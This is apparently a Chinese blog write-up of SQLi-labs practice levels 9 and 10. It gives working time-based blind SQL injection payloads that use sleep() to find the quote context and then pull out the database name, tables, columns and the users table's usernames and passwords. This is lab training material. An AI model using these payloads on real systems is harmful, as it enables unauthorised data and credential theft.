SQL注入sqli_labs靶场第九、十题

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

相关推荐
低头不见3 分钟前
CTE聚合查询,性能优化不止10几倍
java·sql·postgresql
clown_YZ9 分钟前
HeroCTF 2025--部分题解
网络安全·逆向·ctf
文刀竹肃10 分钟前
theHarvester - 企业信息收集工具详解
安全·网络安全
NewCarRen22 分钟前
AI驱动的网联自动驾驶汽车网络安全测试方法
网络安全
Hello.Reader31 分钟前
Flink SQL 从本地安装到跑通第一条流式 SQL
大数据·sql·flink
前进的李工33 分钟前
SQL排序与分页查询技巧
开发语言·数据库·sql·mysql·oracle
Hello.Reader1 小时前
用 Flink SQL 搭建一个实时统计应用Kafka → Flink → MySQL 实战
sql·flink·kafka
Hello.Reader2 小时前
Flink SQL 查询(Queries)从 sqlQuery 到 executeSql
sql·flink·linq
Han.miracle2 小时前
数据库圣经--Alter & 视图
数据库·sql·视图
Hello.Reader2 小时前
Flink SQL + Kafka 实时统计部门人数
sql·flink·kafka